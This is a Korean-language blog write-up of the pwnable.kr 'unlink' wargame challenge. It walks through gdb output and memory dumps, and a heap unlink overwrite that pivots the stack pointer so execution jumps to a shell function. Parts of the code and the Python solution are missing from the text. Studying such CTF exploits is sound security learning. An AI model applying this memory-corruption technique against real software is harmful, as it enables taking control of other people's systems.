Pwnable KR - unlink
Jun 10, 2019
문제
unlink 취약점을 공부하는 문제.
unlink@prowl:~$ ls -l
total 20
-r--r----- 1 root unlink_pwn 49 Nov 23 2016 flag
-rw-r----- 1 root unlink_pwn 543 Nov 28 2016 intended_solution.txt
-r-xr-sr-x 1 root unlink_pwn 7540 Nov 23 2016 unlink
-rw-r--r-- 1 root root 749 Nov 23 2016 unlink.c
typedef struct tagOBJOBJ;
void
void
int
풀이
0x080485f2 <+195>: call 0x8048504 <unlink>
0x080485f7 <+200>: add $0x10,%esp
0x080485fa <+203>: mov $0x0,%eax
0x080485ff <+208>: mov -0x4(%ebp),%ecx
0x08048602 <+211>: leave
0x08048603 <+212>: lea -0x4(%ecx),%esp
0x08048606 <+215>: ret
main
함수를 살펴보자.
main+208
에서 ecx
에 *(ebp-4)
값을 넣고, main+212
에서 esp
에 ecx-4
값을 넣고 있다.
shell
의 주소가 있는 공간의 주소에 4를 더하여 ebp-4
에 넣으면 eip
값을 shell
로 바꿀 수 있다. 4를 더하는 이유는 esp
에 값을 넣을 때 4를 빼기 때문이다.
그리고 바이너리를 실행할 때 A
의 주소값을 알려주기 때문에 ebp
값도 알 수 있다.
(gdb) b *main+200
Breakpoint 1 at 0x80485f7
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/unlink/unlink
here is stack address leak: 0xffc5c214
here is heap address leak: 0x829b410
now that you have leaks, get shell!
AAAA
Breakpoint 1, 0x080485f7 in main ()
(gdb) print $ebp
$1 = (void *) 0xffc5c228
(gdb) x/100x 0x829b410
0x829b410: 0x0829b440 0x00000000 0x41414141 0x00000000
0x829b420: 0x00000000 0x00000019 0x0829b440 0x0829b410
0x829b430: 0x00000000 0x00000000 0x00000000 0x00000019
0x829b440: 0x00000000 0x0829b410 0x00000000 0x00000000
확인하면 ebp
값은 &A
값에서 20만큼 더한 값임을 알 수 있다.
그리고 A->buf
와 B
의 주소 차이가 16만큼인 것도 알 수 있다.
마지막으로 shell
의 주소를 담을 공간과 그 주소가 필요한데, 이는 유저가 값을 수정할 수 있는 A-buf
덕분에 해결된다.
stack = &A;
heap = A;
buf = heap+8
ebp = stack+20;
* = shell; // A->buf
* = buf+4; // B->fd
* = ebp-4; // B->bk
* = ebp; // FD->bk = BK;
* = buf+4; // BK->fd = FD;
ecx = *; // buf+4
esp = ecx-4; // buf
eip = *esp; // shell
풀이과정을 c로 옮겨서 보면 이렇다.
=
=
=
=
= 0x080484eb
= +8
= +20
= # A->buf
+= b*12
+= # B->fd
+= # B->bk
python으로 풀이를 적으면 이렇다.
후기
어렵다